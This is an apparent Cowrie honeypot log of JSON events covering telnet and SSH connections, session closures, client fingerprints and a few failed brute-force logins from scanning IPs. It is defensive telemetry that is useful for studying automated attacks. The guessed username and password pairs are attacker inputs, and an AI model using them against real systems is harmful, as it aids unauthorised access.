{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33732,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7122ced2577","protocol":"telnet","message":"New connection: 204.10.38.242:33732 (159.203.135.109:23) [session: a7122ced2577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:16.428434Z"}
{"eventid":"cowrie.session.closed","duration":34.59732723236084,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:16.501481Z","src_ip":"209.126.87.217","session":"2b784e517a96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41558,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f4fa56a65e9","protocol":"telnet","message":"New connection: 209.126.87.217:41558 (159.203.135.109:23) [session: 1f4fa56a65e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:16.506655Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"google2024","message":"login attempt [root/google2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:16.577588Z","src_ip":"103.146.202.174","session":"315659936686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.167834997177124,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:16.692217Z","src_ip":"209.126.87.217","session":"0d5d25a652ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.621570110321045,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:16.881638Z","src_ip":"209.126.87.217","session":"d260652bbf83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4101402759552,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:17.009055Z","src_ip":"209.126.87.217","session":"e246e66e0f37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41564,"dst_ip":"159.203.135.109","dst_port":23,"session":"31647860e43e","protocol":"telnet","message":"New connection: 209.126.87.217:41564 (159.203.135.109:23) [session: 31647860e43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:17.239762Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:17.828413Z","src_ip":"103.146.202.174","session":"315659936686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.17340588569641,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:18.341628Z","src_ip":"209.126.87.217","session":"4b9282637443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41566,"dst_ip":"159.203.135.109","dst_port":23,"session":"53ffefe2bad3","protocol":"telnet","message":"New connection: 209.126.87.217:41566 (159.203.135.109:23) [session: 53ffefe2bad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:19.165252Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41576,"dst_ip":"159.203.135.109","dst_port":23,"session":"fccc2f6ba0c5","protocol":"telnet","message":"New connection: 209.126.87.217:41576 (159.203.135.109:23) [session: fccc2f6ba0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:21.843802Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41580,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1b58c9546da","protocol":"telnet","message":"New connection: 209.126.87.217:41580 (159.203.135.109:23) [session: e1b58c9546da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:22.270157Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41582,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eb8660328cd","protocol":"telnet","message":"New connection: 209.126.87.217:41582 (159.203.135.109:23) [session: 6eb8660328cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:22.383708Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41590,"dst_ip":"159.203.135.109","dst_port":23,"session":"21f29fe54b6d","protocol":"telnet","message":"New connection: 209.126.87.217:41590 (159.203.135.109:23) [session: 21f29fe54b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:22.597631Z"}
{"eventid":"cowrie.session.closed","duration":33.26943278312683,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:23.546924Z","src_ip":"209.126.87.217","session":"56cbe70b8339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41598,"dst_ip":"159.203.135.109","dst_port":23,"session":"9412e8ab6582","protocol":"telnet","message":"New connection: 209.126.87.217:41598 (159.203.135.109:23) [session: 9412e8ab6582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:23.927191Z"}
{"eventid":"cowrie.session.closed","duration":30.57618474960327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:24.246202Z","src_ip":"209.126.87.217","session":"9f14e1ba620f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41606,"dst_ip":"159.203.135.109","dst_port":23,"session":"19766e28f980","protocol":"telnet","message":"New connection: 209.126.87.217:41606 (159.203.135.109:23) [session: 19766e28f980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:24.966083Z"}
{"eventid":"cowrie.session.closed","duration":120.00334286689758,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:25.230449Z","src_ip":"191.251.162.82","session":"17eaa885409c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":45378,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3fe13e9899c","protocol":"telnet","message":"New connection: 191.251.162.82:45378 (159.203.135.109:23) [session: d3fe13e9899c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:25.751716Z"}
{"eventid":"cowrie.session.closed","duration":30.59729814529419,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:26.471807Z","src_ip":"204.10.38.242","session":"e02dd48310b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.72952699661255,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:27.086520Z","src_ip":"209.126.87.217","session":"6671b6d3cfe8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0017831325531,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:27.751335Z","src_ip":"191.251.162.82","session":"f90351b14e41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":45508,"dst_ip":"159.203.135.109","dst_port":23,"session":"889951514f93","protocol":"telnet","message":"New connection: 191.251.162.82:45508 (159.203.135.109:23) [session: 889951514f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:28.526851Z"}
{"eventid":"cowrie.session.closed","duration":35.13303232192993,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:28.555545Z","src_ip":"209.126.87.217","session":"c4d8590d99d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80617332458496,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:29.618942Z","src_ip":"209.126.87.217","session":"b1b7a39565d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":45634,"dst_ip":"159.203.135.109","dst_port":23,"session":"acf6dbbebc74","protocol":"telnet","message":"New connection: 191.251.162.82:45634 (159.203.135.109:23) [session: acf6dbbebc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:30.319616Z"}
{"eventid":"cowrie.session.closed","duration":34.874526023864746,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:30.790194Z","src_ip":"209.126.87.217","session":"87deb0d0280d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.4914116859436,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:31.603790Z","src_ip":"209.126.87.217","session":"bdaa0d779b9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26812744140625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:32.225958Z","src_ip":"209.126.87.217","session":"2f0a11a41e57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.79285454750061,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:32.783612Z","src_ip":"209.126.87.217","session":"056d6255ef44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58890,"dst_ip":"159.203.135.109","dst_port":23,"session":"353ae823de26","protocol":"telnet","message":"New connection: 209.126.87.217:58890 (159.203.135.109:23) [session: 353ae823de26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:35.530196Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58902,"dst_ip":"159.203.135.109","dst_port":23,"session":"3abd9992e7e0","protocol":"telnet","message":"New connection: 209.126.87.217:58902 (159.203.135.109:23) [session: 3abd9992e7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:37.741951Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":18678,"dst_ip":"159.203.135.109","dst_port":23,"session":"77c8ddbdc87d","protocol":"telnet","message":"New connection: 42.114.201.41:18678 (159.203.135.109:23) [session: 77c8ddbdc87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:38.700871Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58960,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1f161351b3c","protocol":"ssh","message":"New connection: 159.203.92.129:58960 (159.203.135.109:22) [session: d1f161351b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:38.728659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:38.733415Z","src_ip":"159.203.92.129","session":"d1f161351b3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:38.738147Z","src_ip":"159.203.92.129","session":"d1f161351b3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"CONGming2261@#","message":"login attempt [ansible/CONGming2261@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:38.746637Z","src_ip":"159.203.92.129","session":"d1f161351b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.9016695022583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:39.160909Z","src_ip":"209.126.87.217","session":"675d598371e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:39.751912Z","src_ip":"159.203.92.129","session":"d1f161351b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.916162729263306,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:40.705441Z","src_ip":"209.126.87.217","session":"61a9cb76af55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":31525,"dst_ip":"159.203.135.109","dst_port":23,"session":"43e1184148f3","protocol":"telnet","message":"New connection: 42.114.201.41:31525 (159.203.135.109:23) [session: 43e1184148f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:40.754289Z"}
{"eventid":"cowrie.session.closed","duration":33.3844256401062,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:41.214316Z","src_ip":"209.126.87.217","session":"3019884b3eb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.17686724662781,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:41.230822Z","src_ip":"209.126.87.217","session":"7ddc76d9a365","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":46393,"dst_ip":"159.203.135.109","dst_port":23,"session":"941a36f56fef","protocol":"telnet","message":"New connection: 42.114.201.41:46393 (159.203.135.109:23) [session: 941a36f56fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:42.288415Z"}
{"eventid":"cowrie.session.closed","duration":34.58506202697754,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:44.981412Z","src_ip":"209.126.87.217","session":"4686a57b737f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36750,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fef9354e65f","protocol":"telnet","message":"New connection: 209.126.87.217:36750 (159.203.135.109:23) [session: 6fef9354e65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:45.264037Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36760,"dst_ip":"159.203.135.109","dst_port":23,"session":"693b18468932","protocol":"telnet","message":"New connection: 209.126.87.217:36760 (159.203.135.109:23) [session: 693b18468932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:45.358434Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":35072,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a362610782c","protocol":"ssh","message":"New connection: 80.94.92.182:35072 (10.17.0.5:22) [session: 0a362610782c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:46.765897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:46.839529Z","src_ip":"80.94.92.182","session":"0a362610782c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:46.963735Z","src_ip":"80.94.92.182","session":"0a362610782c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36770,"dst_ip":"159.203.135.109","dst_port":23,"session":"d98cbf75a2f0","protocol":"telnet","message":"New connection: 209.126.87.217:36770 (159.203.135.109:23) [session: d98cbf75a2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:47.550755Z"}
{"eventid":"cowrie.session.closed","duration":31.21995234489441,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:47.648256Z","src_ip":"204.10.38.242","session":"a7122ced2577","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:47.893059Z","src_ip":"80.94.92.182","session":"0a362610782c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36776,"dst_ip":"159.203.135.109","dst_port":23,"session":"afefaee802af","protocol":"telnet","message":"New connection: 209.126.87.217:36776 (159.203.135.109:23) [session: afefaee802af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:48.083570Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36790,"dst_ip":"159.203.135.109","dst_port":23,"session":"45ffaefbb5dc","protocol":"telnet","message":"New connection: 209.126.87.217:36790 (159.203.135.109:23) [session: 45ffaefbb5dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:48.717696Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:49.158381Z","src_ip":"80.94.92.182","session":"0a362610782c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.03057861328125,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:49.537168Z","src_ip":"209.126.87.217","session":"1f4fa56a65e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33662,"dst_ip":"159.203.135.109","dst_port":23,"session":"400b18af172b","protocol":"telnet","message":"New connection: 209.126.87.217:33662 (159.203.135.109:23) [session: 400b18af172b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:49.785406Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33666,"dst_ip":"159.203.135.109","dst_port":23,"session":"093c75c09edb","protocol":"telnet","message":"New connection: 209.126.87.217:33666 (159.203.135.109:23) [session: 093c75c09edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:52.145811Z"}
{"eventid":"cowrie.session.closed","duration":33.38777780532837,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:52.552956Z","src_ip":"209.126.87.217","session":"53ffefe2bad3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129207611083984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:52.972879Z","src_ip":"209.126.87.217","session":"fccc2f6ba0c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5591299533844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:53.156640Z","src_ip":"209.126.87.217","session":"21f29fe54b6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940723180770874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:53.210795Z","src_ip":"209.126.87.217","session":"e1b58c9546da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.49149823188782,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:53.731165Z","src_ip":"209.126.87.217","session":"31647860e43e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33672,"dst_ip":"159.203.135.109","dst_port":23,"session":"b46633b6b8a2","protocol":"telnet","message":"New connection: 209.126.87.217:33672 (159.203.135.109:23) [session: b46633b6b8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:54.229638Z"}
{"eventid":"cowrie.session.closed","duration":30.39105486869812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:54.318134Z","src_ip":"209.126.87.217","session":"9412e8ab6582","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33688,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6ed9ce1a4b3","protocol":"telnet","message":"New connection: 209.126.87.217:33688 (159.203.135.109:23) [session: c6ed9ce1a4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:54.400908Z"}
{"eventid":"cowrie.session.closed","duration":31.513474225997925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:56.479429Z","src_ip":"209.126.87.217","session":"19766e28f980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33704,"dst_ip":"159.203.135.109","dst_port":23,"session":"b98527d2975e","protocol":"telnet","message":"New connection: 209.126.87.217:33704 (159.203.135.109:23) [session: b98527d2975e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:56.830941Z"}
{"eventid":"cowrie.session.closed","duration":35.345144510269165,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:57.728753Z","src_ip":"209.126.87.217","session":"6eb8660328cd","protocol":"telnet"}
